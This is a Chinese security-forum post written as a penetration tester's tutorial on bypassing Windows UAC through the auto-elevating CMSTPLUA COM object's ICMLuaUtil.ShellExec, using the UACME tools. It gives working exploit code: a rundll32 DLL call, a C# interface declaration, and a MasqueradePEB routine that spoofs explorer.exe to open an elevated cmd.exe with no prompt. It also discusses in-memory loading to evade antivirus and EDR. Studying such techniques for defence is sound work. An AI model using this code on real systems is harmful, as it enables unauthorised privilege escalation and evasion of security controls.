安全矩阵

 找回密码
 立即注册
搜索
查看: 4637|回复: 0

从一次项目经历到BypassUAC方法论修炼

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-9-3 20:45:46 | 显示全部楼层 |阅读模式
原文链接:从一次项目经历到BypassUAC方法论修炼

背景
在某次渗透测试的过程中获取到一个普通用户的权限,由于某些操作需要域管理员的权限,当时用了一些网上公开的BypassUAC方法,在实际利用的过程中效果并不是太好。
在项目结束后想着学习一下BypassUAC方法,以便之后的项目中不依赖别人公布出来的、大家都在用的BypassUAC方法。
毕竟别人做好后,来投喂,不如我们自己去捕猎,去挖掘过UAC的方法。本文记录的是通过COM组件的方法BypassUAC过程,这是一个方法论修炼的记录,掌握其原理,我们就可以去创造属于我们自己的独家BypassUAC方法。

基础介绍

在正式开始之前,我们需要对UAC的工作原理有一些简单了解。

UAC是微软Microsoft Windows Vista以后版本引入的一种安全机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
通过UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。
下图清晰描述了如何根据是否启用UAC以及应用程序是否具有UAC清单来运行应用程序。

在开启了UAC 之后,如果用户是标准用户,Windows 会给用户分配一个标准Access Token。
如果用户以管理员权限登陆,会生成两份访问令牌,一份是完整的管理员访问令牌(Full Access Token),一份是标准用户令牌。

具体的表现形式是如下图,当我们需要其它特权的时候,会弹出窗口,询问你是否要允许以下程序对此计算机更改?如果你有完整的访问令牌(即,你以设备管理员的身份登录,或者你属于管理员组),则可以选择是,然后继续进行。但是,如果已为你分配了标准的用户访问令牌,则会提示你输入具有特权的管理员的凭据。


下列是需要授权的行为或者动作,并非逐一的过程:
  • 配置Window Update
  • 增加或删除用户账户
  • 改变用户的账户类型
  • 改变UAC设置
  • 安装ActiveX
  • 安装或移除程序
  • 设置家长控制
  • 将文件移动或复制到Prigram Files或Windwos目录
  • 查看其它用户文件夹


UACEM
本文使用到的项目UACEM,UACEM项目地址
UACME项目总结了50多种绕过UAC的方式,并且列出具备auto-elevate能力的UAC白名单程序或接口。
UACME项目中的利用方式可以分为两大类:
1、各类UAC白名单程序的DLL劫持(Dll Hijack);
2、各类提升权限的COM接口利用(Elevated COM interface)。
项目的主程序为Akagi,其中包含了所有的method,使用vs2019本地编译后可以使用akagi32 41或者akagi64 41启动程序,41这个指的是README中描述的方法索引,运行后可以直接得到管理员权限的cmd窗口。
本篇则是利用Akagi和Yuubari这两个项目来学习如何利用COM接口进行BypassUAC。
可被利用的COM interface类型
以列表中的41为例:
  1. Author: Oddvar MoeType: Elevated COM interface
  2. Method: ICMLuaUtil
  3. Target(s): Attacker defined
  4. Component(s): Attacker defined
  5. Implementation: ucmCMLuaUtilShellExecMethod
  6. Works from: Windows 7 (7600)
  7. Fixed in: unfixed ????
  8. How: -
复制代码

这个方法的目标接口是,ICMLuaUtil,对应Akagi项目中具体实现函数为ucmCMLuaUtilShellExecMethod,在项目中的methods/api0cradle.c文件中可以找到该方法的定义:


观察发现这里利用的是CMSTPLUA组件的ICMLuaUtil接口。
以管理员权限打开,在Registry中打开CLSIDs,然后输入cmstplua搜索,即可快速定位到该组件。


右键可以查看cmstplua组件的Elevation的一个属性,这里的Enabled跟Auto Approval现实的都为True,表示这个组件可以用来绕过UAC认证,这是第一点。

如果需要达到成功利用的条件,那么第二点,目标接口ICMLuaUti,需要一个可以执行命令的地方,我们可以把鼠标放在ICMLuaUtil上可以看到接口对应的二进制文件为cmlua.dll。

虚函数偏移为cmlua.dll+0x6360,在这个时候我们通过IDA打开系统文件(c:\windows\system32\cmlua.dll)。

可以看到ICMLuaUti接口的虚函数表。

最后我们确定一下,通过双击看它的反汇编代码,就可以看到一个关键的call调用,在IDA中看到ShellExec这个函数调用了ShellExecuteExW这个Windows API实现了命令执行。

通过上面的操作分析,要实现BypassUAC执行命令的COM组件,我们可以总结为两点。
  • Elevation属性中的Enabled跟Auto Approval为True;
  • COM组件中的接口存在可以执行命令,如ICMLuaUtil的ShellExec。


寻找可被利用的COM组件
接下来我们需要快速的寻找到具备这两点的COM组件,那么怎么去找呢?一种方法是使用上面的oleviewdotnet,一个一个的去看,非常麻烦和不高效。

最好的方式其实是通过编程实现对你当前机器所有的COM组件进行搜索,然后去找这个相应属性,目前已经有这样的轮子了,我们可以直接用。
这里使用UACME项目中的Yuubari,用vs2019打开后,在右边的Yuubari将其设为启动项,随后在生成中选择配置管理器,设置release模式,这里要注的一点是,一定要把Debug模式切换成release模式。


以上选择完成之后,会在你所存放Yuubari项目目录下生成一个output\x64\Release的目录,在这个目录下有编译好的二进制文件UacInfo64.exe,运行UacInfo64.exe,会在同目录下生成一个uac18363.log文件,记录其输出的结果。

使用UacInfo64.exe得到的不光是我们需要的COM组件,它会把一些其他的信息一起寻找并输出,只需要UacInfo64.exe就可以把系统上所有支持auto-elevate的都找出来。
这里使用之前提到的cmstplua进行搜索,3e5fc7f9-9a51-4367-9063-a120244fbec7,可以看到Autoelevated COM objects组件的。

调用ICMLuaUtil.ShellExec执行命令


当我们找到合适的可以利用的COM组件后,下一步就是写代码。我们利用的关键点是创建这个COM组件的进程是需要被系统可信任的进程。
利用系统的可信进程去进行调用,可以选择的有rundll32.exe、explorer.exe等,我们只需要把创建COM组件的代码以及执行你想执行的命令代码,放到可信任进程里面去执行,这样就可以BypassUAC。
放到可信任进程里面去执行有两种方式,第一种是我们把它做成一个dll,然后使用undll32.exe 去调用。

DLL调用

直接使用UACME中的代码摘出来,然后在VC2019中新建一个工程,如下是定义接口的声明。

就在这里面通过创建COM组件,然后调用这个COM组件的ShellExec方法执行你想执行的命令,通过这样的方式就可以了。
在代码编写好后,首先在导出的函数为BypassUAC,新建一个def文件,内容如下:
  1. LIBRARY BypassUAC
  2. EXPORTS
  3. BypassUAC
复制代码

这里重新生成一下,可以看到在 C:\Users\admin\Desktop\BypassUAC\x64\Release\目录下生成了一个BypassUAC_Dll.dll。


最后我们使用rundll32.exe去运行一下,直接就弹出了管理员的cmd来,原因就是使用rundll32.exe运行的,rundll32.exe是被系统认可的可信进程,所以拿它去运行就可以直接执行:
  1. rundll32.exe .\BypassUAC_Dll.dll,BypassUAC
复制代码



这是一种利用方法,但是这种利用方式,在实际的渗透测试中用到的会比较少,首先这个dll会落地,然后再用rundll32.exe去调用实际效果不太好,所以我们需要把它编译成直接在内存加载的dll。
直接在内存加载,有如下几种方式,第一种,如果是用c或C++类似这种编译型的语言编译出来的dll,这种编译出来的dll是属于native dll,native dll在内存中加载执行通用的方法是Reflective Dll Injection RDI 去执行它。类似的还有dll to shellcode exe to shellcode 但是这类方法现在很多杀软跟EDR都被标注了。



CSharp version
更好的方式直接做成.net版本
代码摘自Moriarty
C#版本的代码中要注意的是ICMLuaUtil接口的定义,其继承自IUnKnown,该接口的定义函数是:
  1. IUnknown::AddRefIUnknown::QueryInterfaceIUnknown::QueryInterface
复制代码

在定义ICMLuaUtil的时候,需要注意的有两点:

1、指明继承ICMLuaUtil接口;
2、继承的前三个函数不需要加上,C#会自动添加。

其继承自IUnKnown,因此这里一定要写成InterfaceIsIUnknown。

关键代码如下:
  1. [ComImport, Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
  2.         interface ILua
  3.         {
  4.             [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
  5.             void Method1();
  6.             [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
  7.             void Method2();
  8.             [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
  9.             void Method3();
  10.             [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
  11.             void Method4();
  12.             [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
  13.             void Method5();
  14.             [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
  15.             void Method6();
  16.             [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
  17.             HRESULT ShellExec(
  18.                 [In, MarshalAs(UnmanagedType.LPWStr)] string file,
  19.                 [In, MarshalAs(UnmanagedType.LPWStr)] string paramaters,
  20.                 [In, MarshalAs(UnmanagedType.LPWStr)] string directory,
  21.                 [In] uint fMask,
  22.                 [In] uint nShow);
  23.         }
复制代码

有个这个接口声明之后,编程怎么实现,不可能再去创建一个rundll32.exe进程什么的去执行。这里就要引出另一个技术,叫MasqueradePEB,翻译过来就是伪装。

将自己的进程信息伪装成为c:\windows\explorer.exe这个系统的可信进程,这样才能绕过UAC认证窗口,因为UAC在判断系统进程是否可信,判断依据是PEB结构,所以在使用COM组件提权之前需要先伪装一下进程才可以。

​​
  1. McfInitUnicodeString(procHandle, BaseDllNamePtr, "explorer.exe");
  2.                         McfInitUnicodeString(procHandle, FullDllNamePtr, $"{System.Environment.GetEnvironmentVariable("SystemRoot").ToLower()}\\explorer.exe");
复制代码

接下来我们做一下演示,我们的关键代码是调用MasqueradePEB,第一次先注释掉,然后右键生成文件。


​​
  1. [STAThread]
  2.         static void Main(string[] args)
  3.         {
  4.             Guid classId = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");
  5.             Guid interfaceId = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");

  6.             //MasqueradePEB();

  7.             object elvObject = LaunchElevatedCOMObject(classId, interfaceId);
  8.             if (elvObject != null)
  9.             {
  10.                 //MessageBox.Show("Got the Object");
  11.                 ILua ihw = (ILua)elvObject;
  12.                 ihw.ShellExec("c:\\windows\\system32\\cmd.exe", null, null, 0, 5);
  13.                 Marshal.ReleaseComObject(elvObject);
复制代码

运行生成的文件,这个时候会弹出UAC框,因为它不是可信进程,所以运行的时候UAC还是没有过掉,这就是没有MasqueradePEB效果是这样的。


接下来先用MasqueradePEB进行伪装一下,再次右键生成文件。

  1. [STAThread]
  2.         static void Main(string[] args)
  3.         {
  4.             Guid classId = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");
  5.             Guid interfaceId = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");

  6.             MasqueradePEB();

  7.             object elvObject = LaunchElevatedCOMObject(classId, interfaceId);
  8.             if (elvObject != null)
  9.             {
  10.                 //MessageBox.Show("Got the Object");
  11.                 ILua ihw = (ILua)elvObject;
  12.                 ihw.ShellExec("c:\\windows\\system32\\cmd.exe", null, null, 0, 5);
  13.                 Marshal.ReleaseComObject(elvObject);
复制代码

直接点击生成,就可以直接弹出管理员的cmd窗口,这就是直接BypassUAC的效果。



总结
由于项目当中的经历而引发的一次BypassUAC修炼,掌握BypassUAC的方法论。渗透的过程中,我们有时遇到问题,不能只停留在使用工具的层面,因为使用现成的工具,只能等着别人更新。需要我们深入理解原理后,自己动手,丰衣足食。且这样只要遇到一次类似的问题,解决后,下次再遇到就可以直接跨过。
感谢红队学院的Moriarty分享的最初视频,以及在实践过程中goto:REinject对我的指导,文章中借鉴了部分goto:Reinject最初的文章BypassUAC。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 07:49 , Processed in 0.017108 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表